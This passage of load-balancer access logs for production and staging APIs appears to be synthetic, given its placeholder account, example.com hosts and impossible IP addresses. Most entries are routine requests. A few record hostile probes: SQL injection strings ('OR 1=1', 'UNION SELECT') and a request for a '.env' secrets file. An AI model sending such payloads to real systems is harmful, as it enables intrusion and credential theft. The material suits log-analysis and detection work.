2024-11-01T02:48:01.893569Z "forward" "-" "-" "10.0.12.16:443" "404" "-" "-" -https 2024-11-01T02:48:02.942692Z prod-api-alb 2.85.194.227:43955 10.0.22.195:443 0.080965 0.255493 0.040814 200 200 897 10576 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723def2-abccfe916cb44ac99c5f9ab5" "prod-api-alb.example.com" "-" 7 2024-11-01T02:48:02.942692Z "forward" "-" "-" "10.0.22.195:443" "200" "-" "-" -http 2024-11-01T02:48:03.663921Z staging-alb 253.207.200.224:45439 219.219.179.11:443 0.033080 0.629462 0.090110 302 302 875 8322 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723def3-8006a9c2e389407e9d61dba9" "staging-alb.example.com" "-" 6 2024-11-01T02:48:03.663921Z "forward" "-" "-" "219.219.179.11:443" "302" "-" "-" -https 2024-11-01T02:48:05.420896Z prod-web-alb 137.172.216.175:23476 10.0.67.42:443 0.054175 0.117990 0.063817 200 200 451 6526 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723def5-5efe74d1ceeb4ff39052bc77" "prod-web-alb.example.com" "-" 8 2024-11-01T02:48:05.420896Z "forward" "-" "-" "10.0.67.42:443" "200" "-" "-" -http 2024-11-01T02:48:06.464669Z staging-alb 208.123.56.111:49910 92.96.99.45:443 0.114827 0.686522 0.102629 404 404 625 9745 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723def6-980ef4a23fec479abde8fd1b" "staging-alb.example.com" "-" 7 2024-11-01T02:48:06.464669Z "forward" "-" "-" "92.96.99.45:443" "404" "-" "-" -https 2024-11-01T02:48:07.662977Z prod-api-alb 233.218.165.253:55072 10.0.208.150:443 0.099706 0.355576 0.058991 200 200 404 2716 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723def7-3454651785734fdfb0e60b55" "prod-api-alb.example.com" "-" 4 2024-11-01T02:48:07.662977Z "forward" "-" "-" "10.0.208.150:443" "200" "-" "-" -https 2024-11-01T02:48:08.789286Z prod-web-alb 29.186.15.235:21141 10.0.185.163:443 0.045834 0.207374 0.062818 302 302 8 10930 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723def8-58e89bd3e2c14c368c1ddeeb" "prod-web-alb.example.com" "-" 10 2024-11-01T02:48:08.789286Z "forward" "-" "-" "10.0.185.163:443" "302" "-" "-" -https 2024-11-01T02:48:09.691074Z prod-web-alb 8.240.194.204:24370 10.0.92.5:443 0.090088 0.494332 0.096814 200 200 189 2573 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723def9-72ef002675f845d9bb800152" "prod-web-alb.example.com" "-" 10 2024-11-01T02:48:09.691074Z "forward" "-" "-" "10.0.92.5:443" "200" "-" "-" -https 2024-11-01T02:48:09.961756Z prod-api-alb 12.90.6.226:42842 10.0.33.148:443 0.097889 0.480561 0.025912 200 200 919 10007 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723def9-2a41b3b0320b4cc98cde34c1" "prod-api-alb.example.com" "-" 1 2024-11-01T02:48:09.961756Z "forward" "-" "-" "10.0.33.148:443" "200" "-" "-" -https 2024-11-01T02:48:11.803725Z prod-web-alb 57.139.115.189:26899 10.0.186.217:443 0.086842 0.327817 0.053284 200 200 114 8932 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723defb-43c3ddef835b43168ef36269" "prod-web-alb.example.com" "-" 10 2024-11-01T02:48:11.803725Z "forward" "-" "-" "10.0.186.217:443" "200" "-" "-" -https 2024-11-01T02:48:12.258060Z prod-api-alb 155.27.74.189:24421 10.0.130.174:443 0.024118 0.152431 0.030488 302 302 652 7723 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723defc-e102e0ac37b647e09ef2e8e3" "prod-api-alb.example.com" "-" 0 2024-11-01T02:48:12.258060Z "forward" "-" "-" "10.0.130.174:443" "302" "-" "-" -https 2024-11-01T02:48:12.736139Z prod-web-alb 135.51.233.255:23551 10.0.30.233:443 0.047557 0.105980 0.005632 301 301 108 7734 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723defc-c4e02b9dc8bd47b5a29eb383" "prod-web-alb.example.com" "-" 7 2024-11-01T02:48:12.736139Z "forward" "-" "-" "10.0.30.233:443" "301" "-" "-" -https 2024-11-01T02:48:14.068079Z prod-api-alb 83.160.174.76:42604 10.0.83.137:443 0.078935 0.061190 0.029739 301 301 775 6944 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723defe-60b3f3954dee405692828522" "prod-api-alb.example.com" "-" 1 2024-11-01T02:48:14.068079Z "forward" "-" "-" "10.0.83.137:443" "301" "-" "-" -https 2024-11-01T02:48:14.366889Z staging-alb 22.40.153.151:39439 118.128.12.58:80 0.008906 0.698027 0.089108 404 404 176 8620 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723defe-47ba5fbbb248418f997925e3" "staging-alb.example.com" "-" 7 2024-11-01T02:48:14.366889Z "forward" "-" "-" "118.128.12.58:80" "404" "-" "-" -https 2024-11-01T02:48:15.900500Z prod-api-alb 55.1.225.24:18011 10.0.135.61:443 0.041554 0.376048 0.091087 200 200 622 7356 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723deff-57a6f9e25a354e5e8394f819" "prod-api-alb.example.com" "-" 4 2024-11-01T02:48:15.900500Z "forward" "-" "-" "10.0.135.61:443" "200" "-" "-" -http 2024-11-01T02:48:17.541499Z staging-alb 193.27.228.17:24824 162.152.224.240:8080 0.070423 0.228244 0.037731 403 403 644 11532 "GET /users?id=1 OR 1=1 HTTP/1.1" "subfinder/v2.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723df01-7e8891d244a1453e8c4d1399" "-" "-" 6 2024-11-01T02:48:17.541499Z "forward" "-" "-" "162.152.224.240:8080" "403" "-" "-" -https 2024-11-01T02:48:18.913116Z prod-web-alb 74.171.249.123:45123 10.0.161.160:443 0.092801 0.234458 0.028818 200 200 106 10584 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df02-320e6b99e563425585ad82bd" "prod-web-alb.example.com" "-" 8 2024-11-01T02:48:18.913116Z "forward" "-" "-" "10.0.161.160:443" "200" "-" "-" -https 2024-11-01T02:48:20.569105Z staging-alb 35.214.203.3:22870 114.157.165.55:8080 0.105540 0.693977 0.118233 404 404 413 9236 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723df04-b904bb17ebf24543a7415ecf" "staging-alb.example.com" "-" 7 2024-11-01T02:48:20.569105Z "forward" "-" "-" "114.157.165.55:8080" "404" "-" "-" -https 2024-11-01T02:48:21.141399Z prod-web-alb 193.27.228.22:44178 10.0.27.231:443 0.016622 0.170906 0.005408 200 200 629 10180 "POST /search?q=1' UNION SELECT HTTP/1.1" "" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723df05-4d4649cd2908418b834eb2a6" "-" "-" 9 2024-11-01T02:48:21.141399Z "forward" "-" "-" "10.0.27.231:443" "200" "-" "-" -https 2024-11-01T02:48:22.369303Z prod-api-alb 87.209.178.79:55096 10.0.41.133:443 0.040919 0.398427 0.003654 200 200 298 14166 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df06-f0d6eab57a5b45ad8a4bbdda" "prod-api-alb.example.com" "-" 4 2024-11-01T02:48:22.369303Z "forward" "-" "-" "10.0.41.133:443" "200" "-" "-" -http 2024-11-01T02:48:24.290334Z staging-alb 21.150.214.110:57213 19.6.50.8:8080 0.036170 0.179404 0.035731 302 302 284 12877 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df08-6323a21aeb9346aea53d305f" "staging-alb.example.com" "-" 8 2024-11-01T02:48:24.290334Z "forward" "-" "-" "19.6.50.8:8080" "302" "-" "-" -http 2024-11-01T02:48:26.281305Z staging-alb 124.151.186.238:48964 190.99.73.207:80 0.120889 0.180871 0.006242 301 301 57 4522 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df0a-a4abd7113c5240e0ae7f95f0" "staging-alb.example.com" "-" 6 2024-11-01T02:48:26.281305Z "forward" "-" "-" "190.99.73.207:80" "301" "-" "-" -https 2024-11-01T02:48:26.814469Z prod-api-alb 71.101.111.60:58931 10.0.129.53:443 0.011127 0.478239 0.038224 301 301 821 9250 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df0a-22d06b10d5fd4f1f9a500d11" "prod-api-alb.example.com" "-" 2 2024-11-01T02:48:26.814469Z "forward" "-" "-" "10.0.129.53:443" "301" "-" "-" -https 2024-11-01T02:48:28.269967Z prod-api-alb 162.85.83.121:59733 10.0.80.22:443 0.073640 0.358347 0.072324 302 302 376 10660 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df0c-0ada5433aeaf41d4b1919986" "prod-api-alb.example.com" "-" 6 2024-11-01T02:48:28.269967Z "forward" "-" "-" "10.0.80.22:443" "302" "-" "-" -https 2024-11-01T02:48:29.930814Z prod-web-alb 114.161.130.52:34403 10.0.218.200:443 0.081464 0.139049 0.042013 404 404 463 11453 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723df0d-8925b0eb0c784f3884ef9e6a" "prod-web-alb.example.com" "-" 4 2024-11-01T02:48:29.930814Z "forward" "-" "-" "10.0.218.200:443" "404" "-" "-" -http 2024-11-01T02:48:31.824187Z staging-alb 210.46.243.135:55709 35.189.101.138:8080 0.066117 0.653675 0.084931 200 200 844 2934 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df0f-8fe6efe35cce4256bea9ee13" "staging-alb.example.com" "-" 10 2024-11-01T02:48:31.824187Z "forward" "-" "-" "35.189.101.138:8080" "200" "-" "-" -https 2024-11-01T02:48:32.034728Z prod-api-alb 128.22.46.205:24050 10.0.183.203:443 0.098819 0.272854 0.085685 302 302 808 3472 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df10-c35f45dfc7314bdd86a5a49e" "prod-api-alb.example.com" "-" 1 2024-11-01T02:48:32.034728Z "forward" "-" "-" "10.0.183.203:443" "302" "-" "-" -https 2024-11-01T02:48:33.413495Z prod-api-alb 245.209.131.179:16024 10.0.149.122:443 0.043073 0.120777 0.094361 200 200 913 8053 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df11-70d2e4c4387041b78ff32981" "prod-api-alb.example.com" "-" 6 2024-11-01T02:48:33.413495Z "forward" "-" "-" "10.0.149.122:443" "200" "-" "-" -http 2024-11-01T02:48:33.765691Z staging-alb 238.185.146.23:54307 61.23.125.184:80 0.130322 0.234214 0.099747 200 200 729 14537 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df11-bfb6ba7deb7e40a4ada35087" "staging-alb.example.com" "-" 1 2024-11-01T02:48:33.765691Z "forward" "-" "-" "61.23.125.184:80" "200" "-" "-" -https 2024-11-01T02:48:35.349010Z prod-api-alb 122.113.246.45:22745 10.0.235.101:443 0.045516 0.430898 0.080703 404 404 556 12632 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df13-c3c4ba7571e142108d15abe8" "prod-api-alb.example.com" "-" 10 2024-11-01T02:48:35.349010Z "forward" "-" "-" "10.0.235.101:443" "404" "-" "-" -https 2024-11-01T02:48:36.560264Z prod-api-alb 39.125.41.76:21926 10.0.228.241:443 0.023497 0.117038 0.089111 404 404 66 2139 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df14-93aa3b347f054d67bc3605e1" "prod-api-alb.example.com" "-" 5 2024-11-01T02:48:36.560264Z "forward" "-" "-" "10.0.228.241:443" "404" "-" "-" -https 2024-11-01T02:48:37.871124Z staging-alb 176.204.35.109:62626 126.25.254.95:443 0.019701 0.444291 0.035592 302 302 460 3608 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723df15-8b7f849dcdfc44498ffdc15d" "staging-alb.example.com" "-" 10 2024-11-01T02:48:37.871124Z "forward" "-" "-" "126.25.254.95:443" "302" "-" "-" -https 2024-11-01T02:48:38.191048Z prod-api-alb 176.21.170.245:21378 10.0.119.187:443 0.049761 0.404854 0.070232 200 200 823 5697 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df16-f702ef62dd2344feba02a7ef" "prod-api-alb.example.com" "-" 4 2024-11-01T02:48:38.191048Z "forward" "-" "-" "10.0.119.187:443" "200" "-" "-" -https 2024-11-01T02:48:38.410162Z prod-api-alb 45.47.233.31:28171 10.0.185.141:443 0.058834 0.467358 0.079475 301 301 434 10313 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df16-6ac3934a7ab943e4adbe6efa" "prod-api-alb.example.com" "-" 10 2024-11-01T02:48:38.410162Z "forward" "-" "-" "10.0.185.141:443" "301" "-" "-" -https 2024-11-01T02:48:38.929382Z prod-web-alb 7.144.226.82:43211 10.0.194.237:443 0.096694 0.283985 0.094651 301 301 773 11458 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723df16-fad44321cf604dd494507e4f" "prod-web-alb.example.com" "-" 9 2024-11-01T02:48:38.929382Z "forward" "-" "-" "10.0.194.237:443" "301" "-" "-" -https 2024-11-01T02:48:39.141822Z prod-api-alb 168.88.35.183:16053 10.0.175.156:443 0.029317 0.227443 0.036648 200 200 192 1947 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df17-0979a17b9b1348789dfada05" "prod-api-alb.example.com" "-" 10 2024-11-01T02:48:39.141822Z "forward" "-" "-" "10.0.175.156:443" "200" "-" "-" -https 2024-11-01T02:48:39.261375Z prod-api-alb 113.0.195.156:46593 10.0.150.194:443 0.013898 0.434741 0.053434 200 200 870 5143 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df17-0fa92217baff490fb6e156c8" "prod-api-alb.example.com" "-" 3 2024-11-01T02:48:39.261375Z "forward" "-" "-" "10.0.150.194:443" "200" "-" "-" -https 2024-11-01T02:48:41.210307Z prod-web-alb 88.12.188.237:24271 10.0.110.11:443 0.089917 0.180269 0.055785 200 200 581 9564 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723df19-53906e2fabcc4cf48ee7bf83" "-" "-" 9 2024-11-01T02:48:41.210307Z "forward" "-" "-" "10.0.110.11:443" "200" "-" "-" -https 2024-11-01T02:48:42.102489Z prod-api-alb 170.169.167.17:20177 10.0.72.51:443 0.080679 0.340040 0.076048 200 200 200 10874 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df1a-8bb574834e1c4d5d98a77f43" "prod-api-alb.example.com" "-" 6 2024-11-01T02:48:42.102489Z "forward" "-" "-" "10.0.72.51:443" "200" "-" "-" -https 2024-11-01T02:48:42.655885Z staging-alb 86.199.76.124:24930 45.247.169.74:80 0.003284 0.061702 0.031838 404 404 62 8070 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df1a-dde972da87334b9594b5c2df" "staging-alb.example.com" "-" 1 2024-11-01T02:48:42.655885Z "forward" "-" "-" "45.247.169.74:80" "404" "-" "-" -https 2024-11-01T02:48:44.494625Z prod-web-alb 99.161.239.84:12402 10.0.167.242:443 0.093496 0.054212 0.009901 200 200 408 5822 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df1c-d8da756dd3374ef39a96e4cd" "prod-web-alb.example.com" "-" 7 2024-11-01T02:48:44.494625Z "forward" "-" "-" "10.0.167.242:443" "200" "-" "-" -https 2024-11-01T02:48:45.229124Z prod-api-alb 146.39.85.31:14360 10.0.101.248:443 0.067459 0.467204 0.090294 200 200 378 10567 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df1d-a54087e0d5414510abfde6fa" "prod-api-alb.example.com" "-" 7 2024-11-01T02:48:45.229124Z "forward" "-" "-" "10.0.101.248:443" "200" "-" "-" -https 2024-11-01T02:48:46.283608Z prod-api-alb 198.91.168.215:12869 10.0.60.150:443 0.050306 0.059403 0.043406 301 301 274 12951 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df1e-f84e8296b16e48a6bc61f550" "prod-api-alb.example.com" "-" 9 2024-11-01T02:48:46.283608Z "forward" "-" "-" "10.0.60.150:443" "301" "-" "-" -https 2024-11-01T02:48:47.235459Z prod-web-alb 21.35.143.9:63504 10.0.60.12:443 0.027932 0.185645 0.013391 200 200 576 7737 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df1f-a742358c3e304fd184f27588" "prod-web-alb.example.com" "-" 2 2024-11-01T02:48:47.235459Z "forward" "-" "-" "10.0.60.12:443" "200" "-" "-" -https 2024-11-01T02:48:48.000984Z prod-web-alb 138.179.223.166:17692 10.0.6.149:443 0.015314 0.309910 0.086202 301 301 85 10596 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723df20-6e9563695e594ecb821ad8bb" "prod-web-alb.example.com" "-" 2 2024-11-01T02:48:48.000984Z "forward" "-" "-" "10.0.6.149:443" "301" "-" "-" -https 2024-11-01T02:48:50.000856Z prod-api-alb 86.70.170.241:26281 10.0.96.118:443 0.041557 0.017849 0.036398 200 200 277 4801 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df22-dfb9ef1733fd46d8b4120cd0" "prod-api-alb.example.com" "-" 5 2024-11-01T02:48:50.000856Z "forward" "-" "-" "10.0.96.118:443" "200" "-" "-" -https 2024-11-01T02:48:51.726040Z prod-api-alb 45.155.205.233:10986 10.0.115.25:443 0.045307 0.018691 0.027708 302 302 996 13222 "POST /.env HTTP/1.1" "subfinder/v2.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df23-8028842495ba4e10979f5d63" "-" "-" 3 2024-11-01T02:48:51.726040Z "forward" "-" "-" "10.0.115.25:443" "302" "-" "-" -https 2024-11-01T02:48:53.241261Z prod-api-alb 249.185.58.230:60940 10.0.159.249:443 0.069795 0.290667 0.034639 200 200 396 4184 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 